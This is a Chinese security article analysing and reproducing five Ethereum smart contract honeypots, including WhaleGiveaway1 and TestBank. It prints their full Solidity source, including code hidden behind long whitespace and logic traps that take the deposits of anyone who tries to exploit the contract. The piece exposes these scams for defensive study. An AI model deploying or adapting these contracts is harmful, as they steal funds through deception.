智能合约蜜罐概述

研究安全的读者应该都清楚，蜜罐本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击。蜜罐设计的初衷就是让黑客来入侵系统，并借此收集证据，也隐藏了真实环境。

智能合约中也有蜜罐，但它不同于我们一般听到的蜜罐。在本文中，知道创宇区块链安全实验室 主要针对智能合约蜜罐（Smart Contract Honeypot）进行分析。

智能合约蜜罐的作用更像是钓鱼，通过引诱攻击者转账到蜜罐合约。相比于普通钓鱼行为面对一般用户，智能合约蜜罐的钓鱼行为针对的是智能合约开发者、智能合约代码审计人员以及黑客，这种钓鱼行为明显门槛更高。

接下来我们会对一些智能合约蜜罐的案例做讲解，揭露其中的骗局，这些智能合约蜜罐代码都可以 GitHub 上找到，这里给出他们的网址：

根据这些智能合约蜜罐的欺骗手法，可以将它们大致的分类为以下几种

由于篇幅有限，文章分为两部分进行讲解，本文作为上篇，主要对古老的欺骗手段和神奇的逻辑漏洞进行讲解和复现，新颖的赌博游戏和黑客的漏洞利用会在下篇中进行讲解。

古老的欺骗方法

// 2.1 超长空格的欺骗：WhaleGiveway1

2.1.1 蜜罐分析

第一个要介绍的蜜罐是一种最原始古老的欺骗方法，这个蜜罐叫做「WhaleGiveway1」，中文名为超长空格的欺骗，项目地址如下：

在 GitHub 中打开该合约，发现代码好像并没有什么问题，此时我们查看下方会看到有一个拖动条，当我们往右边拖动时就会发现问题的所在了，这也就是所谓的「超长空格的欺骗」。

当然了，如果攻击者并没有发现这个问题，就可能会被该蜜罐合约所欺骗，让我们来分析下被欺骗的原因。

细读下来代码可以发现 GetFreebie() 函数的条件是很容易被满足的，只有一个 if 语句进行判断，只要消息调用者所携带的转账金额大于 1 eth 就可以转走该合约中的所有以太币。

if (msg.value > 1 ether) { // 判断消息调用者转账所携带的以太币是否大于 1 eth
msg.sender.transfer(this.balance); // 将合约中所有的 eth 转给消息调用者
}

当攻击者看到该段代码时会认为该合约存在漏洞，只需要向合约转入大于 1 eth 的金额就能转走合约中所有的以太币，也就理所当然的照做了，但当他们转入以太币后会发现根本不能取走合约中的所有以太币，这就是智能合约蜜罐诱惑之处，也是它的欺骗之处。

造成它的原因就在于标题说到超长空格的欺骗，还记得上面说到的拖动条吗？拖动按钮到一定的位置，我们就可以发现合约中大片空白的地方出现了一段代码，如下两张图所示。

这就是代码编辑器显示超长空格却没有自动换行所导致的，在 21 行和 29 行处蜜罐的作者通过增加一长串的空格来隐藏这些代码。

当我们将这些多余的空格去掉后，就揭开了该蜜罐合约的真面目：

如果消息调用者转账金额大于 1 eth，就先将合约中原有的以太币和这次转入的以太币一起全部转给合约的所有者，之后再将合约中的余额（此时余额已经为 0 个以太币）转给消息调用者（也就是转账的用户），很明显转账的用户已经变成了受害者被骗了。

if (msg.value>1 ether) { // 消息调用者转账携带的金额需要大于 1 eth
Owner.transfer(this.balance); // 将合约中的所有以太币转到合约所有者地址中去
msg.sender.transfer(this.balance); // 将合约中的所有以太币转到消息调用者地址去，但此时合约中已经没有了以太币
}

除了 21 行的超长空格，29 行处也有超长空格，在没有去掉这些多余的空格时代码如下：

function withdraw() payable public { // 提款功能
require(msg.sender == Owner); // 要求消息调用者为合约所有者
Owner.transfer(this.balance); // 将合约中所有以太币转给合约所有者
}

这段代码的意思是：只有调用者为合约所有者时，才能使用 withdraw() 进行提款并放到 Owner 地址中，而正常来说 Owner 地址是合约的所有者，一般是没有问题的。

然而实际上去掉多余的空格后我们会发现，在判断调用者是否为合约所有者之前还有一个 if 语句和赋值操作，这会先判断调用者的地址是否为攻击者的地址，如果是就将合约所有者的地址设为该地址，这就导致了只有攻击者可以随时利用该问题取走合约的所有余额。

具体代码如下：

function withdraw() payable public {
if (msg.sender == 0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b) {
Owner = 0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;
}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}

当我们将合约的代码放到本地进行自动换行时就可以发现该合约是存在问题的。

//contract address: 0x7a4349a749e59a5736efb7826ee3496a2dfd5489

pragma solidity ^0.4.19;

contract WhaleGiveaway1
{
address public Owner = msg.sender;

function()
public
payable
{

}

function GetFreebie()
public
payable
{
if(msg.value>1 ether)
{ Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
}

function withdraw()
payable
public
{ if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;}
require(msg.sender == Owner);
Owner.transfer(this.balance);
}

function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}
}

2.1.2 代码复现

将上述的问题代码放到 Remix IDE 中

再将 29 行后隐藏代码中的地址修改为

0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

该地址做为攻击者的账户地址，也就是说会存在 3 个地址,分别是:

将合约代码编译后使用 0x5B3 账户点击「Deploy」进行部署，之后调用 Owner() 函数查询当前合约所有者，为 0x5B3。

再使用部署者账户 0x5B3 设置 msg.value 为 10 eth，点击「Transact」调用回退函数转入这 10 eth，此时合约的余额就变成了 10 eth，而部署者账户 0x5B3 的余额变成了 89 eth。

攻击者 0xAB8 调用 withdraw() 函数在获取合约所有者权限的同时也将合约中的 10 eth 转到自己的账户中，此时攻击者账户为 109 eth。

并且调用 Owner() 函数可以发现合约的所有者已经变为了 0xAb8。

之后蜜罐攻击者 0xCA3 发现了该蜜罐并被欺骗以为该合约存在漏洞，准备获取合约中的 10 eth，所以蜜罐攻击者 0xCA3 将 msg.value 设置为 5 eth 调用 GetFreebie() 函数进行攻击，此时蜜罐攻击者 0xCA3 的账户余额变成了 94 eth。

再次查看账户余额，可以发现蜜罐攻击者 0xCA3 相应的减少了转入的 5 eth，而攻击者 0xAb8 的余额变成了 114 eth，蜜罐攻击者 0xCA3 成功被蜜罐欺骗。

// 2.2 超长空格的欺骗：TestToken

2.2.1 蜜罐分析

与上面蜜罐合约类似的还有一个叫「TestToken」，也是超长空格的欺骗，项目地址如下：

GutHub 地址：
smart-contract-honeypots/TestToken.sol

(https://github.com/thec00n/smart-contract-honeypots/blob/master/TestToken.sol)

这里我就不做全面的分析，只分析下具体的问题点，超长空格的欺骗发生在 84 行代码处，如果不拖动滑动按钮，看到的代码如下，大致意思为当合约中的代币不小于 0.5 eth 时，将合约中所有的代币转给调用者。

function withdrawAll () payable{ // 提款全部
require(0.5 ether < total); // 合约的余额不小于 0.5 eth
msg.sender.transfer(this.balance); // 将合约所有余额转给调用者
}

然而去掉多余的空格，实际的代码如下，在将合约中的余额转给调用者之前，还需要判断当前区块的块号是否大于 504027，如果大于了则判断调用者是否为合约所有者，如果也是则将合约所有余额转给合约所有者。

那么也就是说该蜜罐合约会在合约余额转给调用者之前先转给合约所有者。

function withdrawAll () payable{
require(0.5 ether < total);
if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}} // 当区块块号大于 504027 时再判断调用者是否为合约所有者，如果是则将合约所有余额转给合约所有者。
msg.sender.transfer(this.balance);
}

该蜜罐合约完整的代码如下：

contract TestToken {
string constant name = "TestToken";
string constant symbol = "TT";
uint8 constant decimals = 18;
uint total;
bool locked;
address _owner;

struct Allowed {
mapping (address => uint256) _allowed;
}

mapping (address => Allowed) allowed;
mapping (address => uint256) balances;

event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);

function TestToken() {
total = 0;
_owner = msg.sender;
}

function totalSupply() constant returns (uint256 totalSupply) {
return total;
}

function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}

function deposit() payable returns (bool success) {
if (balances[msg.sender] + msg.value < msg.value) return false;
if (total + msg.value < msg.value) return false;
balances[msg.sender] += msg.value;
total += msg.value;
return true;
}

function withdraw(uint256 _value) payable returns (bool success) {
if (balances[msg.sender] < _value) return false;
msg.sender.transfer(_value);
balances[msg.sender] -= _value;
total -= _value;
return true;
}

function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] < _value) return false;

if (balances[_to] + _value < _value) return false;
balances[msg.sender] -= _value;
balances[_to] += _value;

Transfer(msg.sender, _to, _value);

return true;
}

function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender]._allowed[_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}

function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner]._allowed[_spender];
}

function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] < _value) return false;
if ( allowed[_from]._allowed[msg.sender] < _value) return false;
if (balances[_to] + _value < _value) return false;

balances[_from] -= _value;
balances[_to] += _value;
allowed[_from]._allowed[msg.sender] -= _value;
return true;
}

function withdrawAll () payable{
//require(msg.sender == _owner);
require(0.5 ether < total); if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}
msg.sender.transfer(this.balance);
}

}

2.2.2 代码复现

为了在本地复现该蜜罐合约，我加上了适用的 Solidity 版本以及超长空格欺骗中的代码修改为 block.number > 0。

使用地址 0x5B3 点击「Deploy」进行部署，设置 msg.value 为 400000000000000000 wei 并调用 deposit() 函数存款，此时 total 为 0.4 eth。

蜜罐攻击者 0xAb8 发现了该合约并被欺骗认为该合约存在漏洞，想要将合约中 0.4 eth 转出，所以他转入 10 eth 到合约中使得判断条件满足（只需要大于 0.1 eth 即可，但为了凸显出效果设置为 10 eth）。

之后蜜罐攻击者 0xAb8 调用认为存在问题的函数 withdrawAll() 进行攻击，会发现合约报错，因为超长空格后的代码中的判断不能满足。

之后合约部署者 0x5B3 调用 withdrawAll() 函数则可以提出合约中所有的余额。

神奇的逻辑漏洞

// 3.1 天上掉下的馅饼：Gift_1_ETH

3.1.1 蜜罐分析

第一个要介绍的逻辑漏洞蜜罐叫做「Gift_1_ETH」，项目地址如下

合约的完整代码如下：

// contract address: 0xd8993F49F372BB014fB088eaBec95cfDC795CBF6

pragma solidity ^0.4.17;

contract Gift_1_ETH
{

bool passHasBeenSet = false;

function()payable{}

function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}

bytes32 public hashPass;

function SetPass(bytes32 hash)
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}

function GetGift(bytes pass) returns (bytes32)
{

if( hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
return sha3(pass);
}

function PassHasBeenSet(bytes32 hash)
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
}

整个合约有三个关键的功能函数，分别是 setPass()、GetGift() 以及 PassHasBeenSet()。

首先是 setPass() 函数，代码如下，其功能为在还未设置密码且转账大于 1 eth 时可以设置密码 hashPass。

function SetPass(bytes32 hash) payable { // 设置密码
if(!passHasBeenSet&&(msg.value >= 1 ether)) { //如果还未设置过密码且转账大于 1 eth
hashPass = hash; // 设置密码 hashPass
}
}

function GetGift(bytes pass) returns (bytes32) { // 获取礼物奖励
if( hashPass == sha3(pass)) { // 判断输入的 pass 经过 sha3 加密后是否和 hashPass 相等
msg.sender.transfer(this.balance); // 如果相等则将合约所有代币转走到调用者地址
}
return sha3(pass); // 返回 sha3 加密后 pass 的值
}

function PassHasBeenSet(bytes32 hash) { // 密码是否已经设置
if(hash==hashPass) { // 判断输入的 hash 和 hashPass 是否相等
passHasBeenSet=true; // 如果相等则将 passHasBeenSet 设置为 true
}
}

通过分析上面三个关键功能函数我们不难发现，攻击者要想取走合约内的以太币，只需要进行以下的流程即可：

看似简单的步骤，事实上，我们通过查看合约的调用的交易记录可以发现攻击者在转入 1 以太币后并没有获取到合约中的余额。

那么具体问题出在哪儿呢？在第一步中我们考虑的状态变量 passHasBeenSet 的值取为了合约创建时的初始值 false，然而 PassHasBeenSet() 函数会将 passHasBeenSet 的值设为 true，这就会导致如果合约创建者先设置了密码，攻击者再调用 SetPass() 函数时只会转入以太币而第一个条件不能满足，从而不能设置 hashPass 的值，连带反应也不能满足 GetGift() 函数的第一条件了。

因为密码 hashPass 已经被创建者设置，而攻击者由于不能修改 hashPass 导致在 GetGift() 函数中输入的 hash 不会和 hashPass 相等。

3.1.2 代码复现

将代码放入到 Remix IDE 中，使用第一个账户 (0x5B38Da6a701c568545dCfcB03FcB875f56beddC4) 作为合约创建者的地址，点击「Deploy」进行部署，之后点击「hashPass」查看初始的值，默认为 0。

合约创建者 0x5B3 先获取要设置密码的 sha3 值，接着设置 mag.value 为 10 eth（只需要 1 eth 就可以了，为了方便观察我们设置为 10 eth），接着将刚才获取的 sha3 值作为参数传入调用 SetPass() 函数，之后点击「hashPass」查看密码，发现已经被合约创建者修改，此时合约中代币为 10 eth，创建者余额为 89 eth。

接着合约创建者调用 PassHasBeenSet() 函数设置状态变量 passHasBeenSet 为 true。

如果攻击者 (0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2) 发现了该蜜罐合约并被欺骗以为存在漏洞，想要将合约中的 10 eth 转出到自己的账户，所以攻击者 0xAb8 在获取了自己要设置密码的 sha3 值之后转账 10 eth 去调用 SetPass() 函数，之后查看 hashPass 的值，发现仍然为之前的密码。

此时攻击者 0xAb8 去调用 GetGift() 获取合约中的所有代币时会发现，因为不能 hashPass，所以不能满足 if 条件，从而不能获取合约中的代币。

而合约创建者发现有人上钩之后就去执行 GetGift() 函数获取合约中的 20 eth。

与之类似的蜜罐合约还有「NEW_YEARS_GIFT」

其项目地址如下：

// 3.2 合约永远比你有钱：MultiplicatorX3

3.2.1 蜜罐分析

第二个要介绍的逻辑漏洞蜜罐叫做「Gift_1_ETH」，项目地址如下：

合约的完整代码如下：

// contract address: 0x5aA88d2901C68fdA244f1D0584400368d2C8e739

pragma solidity ^0.4.18;

contract MultiplicatorX3
{
address public Owner = msg.sender;

function() public payable{}

function withdraw()
payable
public
{
require(msg.sender == Owner);
Owner.transfer(this.balance);
}

function Command(address adr,bytes data)
payable
public
{
require(msg.sender == Owner);
adr.call.value(msg.value)(data);
}

function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
}

该蜜罐合约有三个关键的功能函数，分别是 withdraw()、Command() 以及 multiplicate()。

首先是 withdraw() 函数，代码如下，其功能为判断调用者是否为合约所有者，如果是则获取合约中的所有代币。

function withdraw() payable public { // 提款
require(msg.sender == Owner); // 判断调用者是否为合约所有者
Owner.transfer(this.balance); // 将合约所有代币转给合约所有者
}

function Command(address adr,bytes data) payable public { // 命令
require(msg.sender == Owner); // 判断调用者是否为合约所有者
adr.call.value(msg.value)(data); // 向目标地址转发以太币并传入需要的 data
}

function multiplicate(address adr) public payable { // 乘法
if(msg.value>=this.balance) { // 判断转账的金额是否大于等于合约中的余额
adr.transfer(this.balance+msg.value); // 把合约中的余额和本次转账的金额都转给传入的地址
}
}

通过分析上面三个函数不难发现，蜜罐合约的关键点在 multiplicate() 函数，该函数中的条件看似非常容易实现，只要我们转账的金额更大就可以了，然而事实并非这样。

我们可以分析下 multiplicate() 函数的过程，先将一定数量的以太币转入合约中，之后再在函数内进行 if 语句的判断，那么也就是说在调用函数的交易被确认进入区块的同时，本次转账的以太币也被转入了合约中，这些操作都是发生在 if 语句之前的。

通俗的讲，if 语句中的判断其实是：if(转账的金额 >= 转账的金额+之前合约的余额)，所以无论我们转账多少，if 语句中的条件都不可能满足，这就是所谓的「合约永远比你有钱」。

当然了，在合约余额为 0 且转账为 0 时是可以满足该条件的，但是如果合约中没有余额也就不会吸引到攻击者了。

如果没有分析清楚该合约就贸然的调用 multiplicate() 函数转账就会被蜜罐合约骗走代币并且不能取出来。下图为蜜罐合约的历史调用记录。

3.2.2 代码复现

将合约完整代码放入到 Remix IDE 中，选择 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 作为合约创建者地址，点击「Deploy」部署合约，设置 msg.value 为 10 eth，调用 Command() 函数并将参数中的地址设置为蜜罐合约地址，将参数中的 data 设置为 0x00，转账成功，合约中已经有 10 eth 了。

攻击者 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 发现了该蜜罐合约并被欺骗想要取走合约中的 10 eth，所以攻击者 0xAb8 设置 msg.value 为 20 eth，并将自己的地址作为 adr 参数调用 multiplicate() 函数，查看余额可以发现攻击者 0xAb8 减少了 20 eth，并没有获得合约中原有的 10 eth。

之后使用合约创建者去调用 withdraw() 函数将合约中所有的以太币提走，如下图所示，合约创建者 0x5B3 的余额从 89 eth 变为了 119 eth。

与之类似的蜜罐合约还有「PINCODE」，其项目地址如下：

// 3.3 谁是合约主人：TestBank

3.3.1 蜜罐分析

第三个要介绍的逻辑漏洞蜜罐叫做「TestBank」，项目地址如下：

合约的完整代码如下：

// contract address: 0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

pragma solidity ^0.4.18;

contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}

contract TestBank is Owned {
event BankDeposit(address from, uint amount);
event BankWithdrawal(address from, uint amount);
address public owner = msg.sender;
uint256 ecode;
uint256 evalue;

function() public payable {
deposit();
}

function deposit() public payable {
require(msg.value > 0);
BankDeposit(msg.sender, msg.value);
}

function setEmergencyCode(uint256 code, uint256 value) public onlyOwner {
ecode = code;
evalue = value;
}

function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
}

function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
}

function useEmergencyCode(uint256 code) public payable { // 使用紧急代码
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender; // 将 owner 设置为我们的地址
}

当我们将合约的 owner 设置为我们的地址时，那么就可以通过 onlyOwner() 函数修饰器的判断进而执行 withdraw() 函数进行提款操作，取走合约中所有的代币。以上的分析方法看起来没什么问题，但实际上是完全行不通的。

这就涉及到 Solidity 中的继承内容，可以参考 Solidity原理（一）：继承(Inheritance) （https://blog.csdn.net/Programmer_CJC/article/details/80042261）这篇文章。

其中文章中讲到的重点是：

下面是一个示例代码：

contract A{
uint variable = 0;
function test1(uint a) returns(uint){
variable++;
return variable;
}
function test2(uint a) returns(uint){
variable += a;
return variable;
}
}
contract B is A{
uint variable = 0;
function test2(uint a) returns(uint){
variable++;
return variable;
}
}
====================
contract B{
uint variable1 = 0;
uint variable2 = 0;
function test1(uint a) returns(uint v){
variable1++;
return variable1;
}
function test2(uint a) returns(uint v){
variable2++;
return variable2;
}
}

那么再看懂了上面讲解的基础上我们再回到蜜罐合约本身，Owner 和 TestBank 合约中都有一个 owner 变量。

因此 TestBank 合约中 useEmergencyCode() 函数修改的其实只是 TestBank 合约的所有者，并不会对 Owner 合约的所有者造成任何影响，而函数修饰器 onlyOwner 中判断的合约所有者为 Owner 合约的所有者，也就是合约创建者，无论攻击者如何修改 TestBank 合约中的 owner 值，最后都不能通过 onlyOwner 的判断提款成功。

根据上述的分析，我们可以将该蜜罐合约的核心代码修改为如下内容，这样大家就能够一目了然的知道原因了，onlyOwner 中判断的 owner 和 useEmergencyCode() 函数中的 owner 参数并不是一个东西，只是同名而已。

contract TestBank is Owned {
address public owner1 = msg.sender;
modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }
address public owner2 = msg.sender;
uint256 ecode;
uint256 evalue;
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}

3.3.2 代码复现

将蜜罐合约完整代码放入到 Remix IDE 中，选择 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 作为合约创建者，点击「Deploy」来部署合约，设置 msg.value 为 10 eth 调用 deposit() 函数存入 10 eth 到合约中。

在使用该用户 0x5B3 调用 setEmergencyCode() 函数设置 ecode 和 evalue，这里我们将 ecode 任意设置为「111111」，value 设置为「10000000000000000000」也就是 10 eth。

如果蜜罐合约创建者故意泄露自己设置 ecode 和 evalue 的值，并且展示出合约中已经存在以太币，当攻击者 0xAb8 发现了这些问题并被欺骗认为该合约存在问题，将 msg.value 设置为 10 eth，并输入 code 为「111111」去调用 useEmergencyCode() 函数，尝试去将合约所有者地址修改为自己的地址。

但该攻击者只是成为了 TestBank 合约的所有者，并没有成为 Owner 合约的所有者，这就导致了在执行 withdraw() 函数时函数修饰器 onlyOwner 会拒绝攻击者。

而合约所有者 0x5B3 则可以去调用 withdraw() 函数取走合约中的 20 eth。

文献参考

[1]蜜罐技术_百度百科

https://baike.baidu.com/item/蜜罐技术/9165942?fromtitle=蜜罐&fromid=5390254&fr=aladdin

[2]以太坊蜜罐智能合约分析

https://paper.seebug.org/631/

[3]Solidity原理（一）：继承

https://blog.csdn.net/Programmer_CJC/article/details/80042261

[4]Solidity 中文手册

https://solidity-cn.readthedocs.io/zh/develop/index.html

郑重声明：本文版权归原作者所有，转载文章仅为传播更多信息之目的，如作者信息标记有误，请第一时间联系我们修改或删除，多谢。

郑重声明：本文版权归原作者所有，转载文章仅为传播更多信息之目的，如作者信息标记有误，请第一时间联系我们修改或删除，多谢。